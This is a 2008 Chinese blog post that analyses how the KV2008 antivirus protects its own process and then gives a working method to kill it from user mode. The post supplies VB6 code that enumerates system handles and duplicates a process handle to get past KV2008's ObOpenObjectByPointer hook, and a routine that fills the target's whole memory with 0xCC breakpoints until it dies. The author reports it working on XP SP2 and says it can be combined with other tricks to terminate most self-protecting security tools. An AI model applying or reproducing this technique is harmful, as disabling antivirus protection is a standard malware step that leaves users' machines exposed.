注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

无翼风的网易博客

欢迎光临无翼风的网易博客

 
 
 

日志

 
 

Ring3 下 终止KV2008  

2008-07-21 21:03:11|  分类: 编程与电脑技术 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

KV2008自我保護以及微點主動防禦淺析和突破思路←
Ring3 下 终止KV2008

著作權:炉子[0GiNr]

使用关联作业对象进行杀进程,是个不错的方法。但经过我测试,发现该方法对KV2008无效。

KV2008对其自我保护的宣传不亚于对其杀毒功效的宣传:

越来越多的病毒开始反攻杀毒软件,在自身运行前首先尝试关闭杀毒软件。江民杀毒软件KV2008采用窗口保护以及进程保护技术,避免病毒关闭杀毒软件进程,确保杀毒软件自身安全,只有自身足够强壮才能更好地保护用户电脑的安全。

的确,使用IceSword和作业对象的方法都无法杀掉KV2008的进程,可见KV2008的确拥有其自己的一套进程保护措施。今天我们就分析一下其防杀原理,并提出一种在 Ring3 终止KV2008进程的方法。

    1、KV2008的防杀原理。

不管三七二十一,从天空软件站下了一个装上,除了KV2008的IE工具栏,其余默认选项。重启。掏出Rootkit Unhooker(以下简称RkU)一阵狂扫,其中的0x804E637B是KiInsertQueueApc+0x2,KeInsertQueueApc最终会调用KiInsertQueueApc。

可以看到,KV2008通过使用Inline Hook对相关的一些内核函数进行挂钩来实现其进程保护(SSDT HOOK暂且忽略),下面我们通过kd来分析其原理:

先解释下其中的一些Hook:

KeInsertQueueApc是防杀的关键,我们先来kd一下。

我们知道,在用户态调用TerminateProcess最终会调用NtTerminateProcess(具体可以参考PJF的文章《终止进程的内幕》):

lkd> u NtTerminateProcess L 70

nt!NtTerminateProcess:

...

call    nt!PsGetNextProcessThread (8057b3b9)

// 遍历线程中的进程

mov    esi,eax

test    esi,esi

je      nt!NtTerminateProcess+0xe2 (80585801)

and    dword ptr [ebp+8],0

cmp    esi,edi

je      nt!NtTerminateProcess+0xd5 (805857f4)

push    dword ptr [ebp+0Ch]

push    esi

call    nt!PspTerminateThreadByPointer (8057c703)

// 调用PspTerminateThreadByPointer杀死线程

push    esi

push    ebx

call    nt!PsGetNextProcessThread (8057b3b9)

...

ret    8

之前willy[wwy]兄所介绍的关联作业对象来终止瑞星的方法的过程是这样的:

TerminateJobObject -> NtTerminateJobObject->PspTerminateAllProcessesInJob->PspTerminateProcess

最终调用的是PspTerminateProcess,关键部分实现同上。

由于在kd中反汇编得到的PspTerminateThreadByPointer很分散,故以伪代码描述如下(大家自己调试时也可以参考kd的反汇编源码):

NTSTATUS Fake_PspTerminateThreadByPointer( ...)

PKAPC Apc=NULL;

NTSTATUS Status = STATUS_SUCCESS ;

BOOLEAN blnSucceed =FALSE;

Apc=ExAllocatePool(NonPagedPool,sizeof(KAPC));

KeInitializeApc(Apc,

Thread,

OriginalApcEnvironment,

Fake_PspExitThread , // 这个例程会终止调用者的线程

NULL,

NULL,

KernelMode,

NULL);

blnSucceed=KeInsertQueueApc(Apc,

NULL,

NULL,

0); // 这里便是KV2008做HOOK的地方

KeForceResumeThread (Thread);

if (! blnSucceed ) Status=STATUS_UNSUCCESSFUL;

return Status ;

}

这样应该就很明白了,最终线程是通过被插入的APC调用PspExitThread而自杀的(如果对APC不了解可以查阅相关资料,推荐毛德操所著的《漫谈兼容内核之十二:Windows的APC机制》)。

至于KeInsertQueueApc,则可以看作一个Stub,做了一些铺垫然后简单的调用了KiInsertQueueApc。

ObOpenObjectByPointer则是为了防止其他进程打开KV2008自己的进程——这个函数在NtOpenProcess中被调用:

lkd> u NtOpenProcess L 70

nt!NtOpenProcess:

...

call    nt!PsLookupProcessByProcessId (80573e8d)

// 根据输入的 PID 查询进程内核对象体的指针 (PEPROCESS)

mov    edi,eax

cmp    edi,esi

jl      nt!NtOpenProcess+0x1ed (805a2549)

lea    eax,[ebp-20h]

push    eax

push    dword ptr [ebp-34h]

push    dword ptr [nt!PsProcessType (805617d8)]

push    esi

lea    eax,[ebp-0B8h]

push    eax

push    dword ptr [ebp-38h]

push    dword ptr [ebp-24h]

call    nt!ObOpenObjectByPointer (8056cbc2)

// 通过对象指针(PEPROCESS)得到句柄。

...

r et    10h

可能大家会发现,IceSword无法枚举出KV2008线程所加载的模块,这正是因为KV2008对ObOpenObjectByPointer进行了HOOK的缘故——因为IceSword无法得到KV2008的进程的句柄,所以通过ZwQueryVirtualMemory来枚举进程模块也就无从谈起了(关于如何使用ZwQueryVirtualMemory请自己查阅相关资料,限于篇幅不再给出)。

还有一些SSDT HOOK,不过SSDT HOOK跟KV2008防止自身被IceSword结束基本没什么关系,略过不谈。

2、我们的解决方案。

1) 拿到KV2008的进程句柄。

在willy[wwy]兄的终止瑞星的代码中,取得进程句柄使用的是OpenProcess,但是通过前文的分析不难发现,由于KV2008对ObOpenObjectByPointer进行了HOOK,所以我们需要使用其他的方法来得到进程句柄。

在蛮久之前,FlowerCode曾经给出过一套打开IceSword进程的代码,通过枚举系统中的句柄并复制句柄来绕过一些HOOK。

先大概介绍下这种方法:

1、使用ZwQuerySystemInformation的SystemHandleInformation号调用得到系统中的所有句柄。

2、如果是进程类型的句柄,就通过ZwDuplicateObject将句柄复制到自己的句柄表中。

3、通过ZwQueryInformationProcess来查询句柄对应的进程ID。

4、如果是需要打开的进程的进程ID,那么就返回这个句柄,否则重复2-4。

由于这种方法是通过复制句柄(ZwDuplicateObject)来得到句柄的,绕过了对ObOpenObjectByPointer的调用,所以这样的做法可以用来打开KV2008的进程。

枚举句柄体现为VB代码如下:

Do

ReDim bytBuf(arySize)

st = ZwQuerySystemInformation(SystemHandleInformation, VarPtr(bytBuf(0)), arySize, 0&)

If (Not NT_SUCCESS(st)) Then // 我们需要与 ZwQuerySystemInformation 协商缓存大小

If (st <> STATUS_INFO_LENGTH_MISMATCH) Then

Erase bytBuf

Exit Function

End If

Else

Exit Do

End If

arySize = arySize * 2

ReDim bytBuf(arySize)

Loop

然后我们便可以对句柄进行检查了,VB体现如下:

// 注:由于我们通常需要从csrss.exe中复制句柄,而打开csrss.exe需要SE_DEBUG特权,所以以下代码需要SE_DEBUG特权。

NumOfHandle = 0

Call CopyMemory(VarPtr(NumOfHandle), VarPtr(bytBuf(0)), Len(NumOfHandle)) // 返回的数据中前4字节是返回的句柄信息的数据块数目

Dim h_info() As SYSTEM_HANDLE_TABLE_ENTRY_INFO

ReDim h_info(NumOfHandle - 1 )

Call CopyMemory(VarPtr(h_info(0)), VarPtr(bytBuf(0)) + Len(NumOfHandle), Len(h_info(0)) * (NumOfHandle - 1 ))

For I = LBound(h_info) To UBound(h_info)

With h_info(I)

If (.ObjectTypeIndex = OB_TYPE_PROCESS) Then // OB_TYPE_PROCESS 是进程类型的句柄,此处为硬编码,详细见后文

cid.UniqueProcess = .UniqueProcessId

st = ZwOpenProcess(hProcessToDup, PROCESS_DUP_HANDLE, oa, cid) // 以复制句柄权限打开目标进程

If (NT_SUCCESS(st)) Then

st = ZwDuplicateObject(hProcessToDup, .HandleValue, ZwCurrentProcess, hProcessCur, PROCESS_ALL_ACCESS, 0, DUPLICATE_SAME_ATTRIBUTES) // 复制句柄

If (NT_SUCCESS(st)) Then

st = ZwQueryInformationProcess(hProcessCur, ProcessBasicInformation, VarPtr(pbi), Len(pbi), 0) //查询句柄信息

If (NT_SUCCESS(st)) Then

If (pbi.UniqueProcessId = ProcessId) Then // pbi.UniqueProcessId 是句柄对应的进程ID

st = ZwDuplicateObject(hProcessToDup, .HandleValue, ZwCurrentProcess, hProcessToRet, dwDesiredAccess, OBJ_INHERIT, DUPLICATE_SAME_ATTRIBUTES) // 这儿复制得到的句柄就是要返回的句柄

If (NT_SUCCESS(st)) Then OpenProcess = hProcessToRet

End If

End If

End If

st = ZwClose(hProcessCur)

End If

st = ZwClose(hProcessToDup)

End If

End With

Next

其中的 OB_TYPE_PROCESS 是硬编码,在不同版本的系统下不同,大家可以通过如下方式动态的确定 OB_TYPE_PROCESS :

1、打开自己的进程。

2、枚举系统中的句柄,找到句柄所属进程ID等于自己进程的进程ID,并且句柄号等于打开自己的进程时OpenProcess的返回值的那个 SYSTEM_HANDLE_TABLE_ENTRY_INFO 数据块,取出其中的 ObjectTypeIndex 即是自己系统下的 OB_TYPE_PROCESS 。

这个在附带的源代码中没有写出来,限于篇幅也就不在这儿写了,大家可以自己试着写写看,和复制句柄时的代码很相似。

2) 结束KV2008的进程。

通过前面的分析不难发现,如果直接从外部调用ZwTerminateProcess或是ZwTerminateThread等函数,是无法将KV2008杀掉的,因为这些函数都是需要插入APC的。事实上,即便是ZwSuspendProcess,ZwSuspendThread,ZwSetContextThread等函数也是需要插入APC的,而我们在用户态,无法恢复KV2008的HOOK,所以,我们必须换种思维方式。

仔细观察KV2008所HOOK的函数不难发现,KV2008并没有对内存操作部分的函数做HOOK(SSDT请自己使用Anti-Rootkit工具查看,限于篇幅恕不贴出),所以大名鼎鼎的RkU之PVASE(进程虚拟地址空间清零技术)就可以派上用场了。

但是自己想想就会发现,RkU的PVASE之后常常导致进程的CPU占用率居高不下,在处理RootKit时这样是可以忍受的,但是我们要做的是杀KV2008而不是杀RK,所以不能有那么高的占用率。

那么,除了填0我们还有什么选择呢?曾经VXK提出过全部填入0xCC(int 3)。3号中断其实是BreakPoint,所以我们可以全填入0xCC看看KV2008会作何反映。

向进程中填入0xCC的VB实现如下:

Public Sub FillProcessMemoryWithBreakPoint(ByVal hProcess As Long)

    Dim bytBreakPoints(&H1000 - 1) As Byte

    Dim I As Long

    Dim Written As Long

    For I = 0 To &H1000 - 1

        bytBreakPoints(I) = &HCC

    Next

    For I = 0 To &H7FFFFFFF - &H1000 Step &H1000

        Call WriteProcessMemory(hProcess, I, VarPtr(bytBreakPoints(0)), &H1000, Written)

    Next

End Sub

试着 FillProcessMemoryWithBreakPoint (OpenProcess(PROCESS_ALL_ACCESS,False,1560) (1560为我测试的时候KV2008监控程序的PID)一下,KV2008被结束掉了。

3、KV2008结束了,但是故事并没有结束。

1、开着IceSword亲身测试后大家就会发现,这段代码杀死了KV2008的服务进程后,服务进程在IceSword中显示为红色,并且不会退出,查看线程信息会发现其中有一个线程状态是Waiting。其中的原因是,KV2008注册了进程&线程创建、结束通告(Process & Thread Create/Terminate Notification),而KV2008在Notification例程中会等待用户态处理(KeWaitForSingleObject等函数),由于当时结束的是KV2008自己的进程,而对KV2008驱动作出相应的正式这个被结束的进程,所以在退出的时候就会卡住,不过KV2008的程序员显然考虑到了这些特殊情况,所以等待大约15秒以后,KeWaitForSingleObject等函数就会超时返回,然后KV2008的服务进程就退出了。

2、杀死了KV2008的服务进程后,在服务进程完全退出之前,所有的进程、线程创建都是被挂起的,原因同1。

3、本文附带源程序在Windows XP SP2、天空软件站 2008-2- 3提供的KV2008 30天试用版、VB 6环境测试通过。

4、分析:纵观这种杀KV2008的方法,很重要的一点就是使用了 ZwQueryInformationProcess 和 ZwDuplicateObject 这两个Native API获取句柄,如果KV2008能像RkU一样照顾到 ZwDuplicateObject (事实上,国外大部分有自我保护的程序都会HOOK这个函数,如HideToolz,Hacker Defender等),该方法也失效了。

4、尾声

本文仅仅是通过分析KV2008进程保护所存在的缺陷对其进行攻击,但是如果大家将本文提出的获取进程句柄的方法于willy[wwy]兄所提出的作业对象关联进程来结束进程的方法综合使用,便可结束国内大多数拥有自我保护的软件,如IceSword,SnipeSword等,由于于本文关系不密切,不再详细讲述,大家可以自己动手试试看;同时也希望KV2008能早日完善其进程保护,解决这个问题,这也正好对应黑防的名言“在功与防的对立统一中寻求突破”。同时我们也希望本文能起到抛砖引玉的作用,让大家在以后的编程中能够多思考、多实践。

  评论这张
 
阅读(196)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018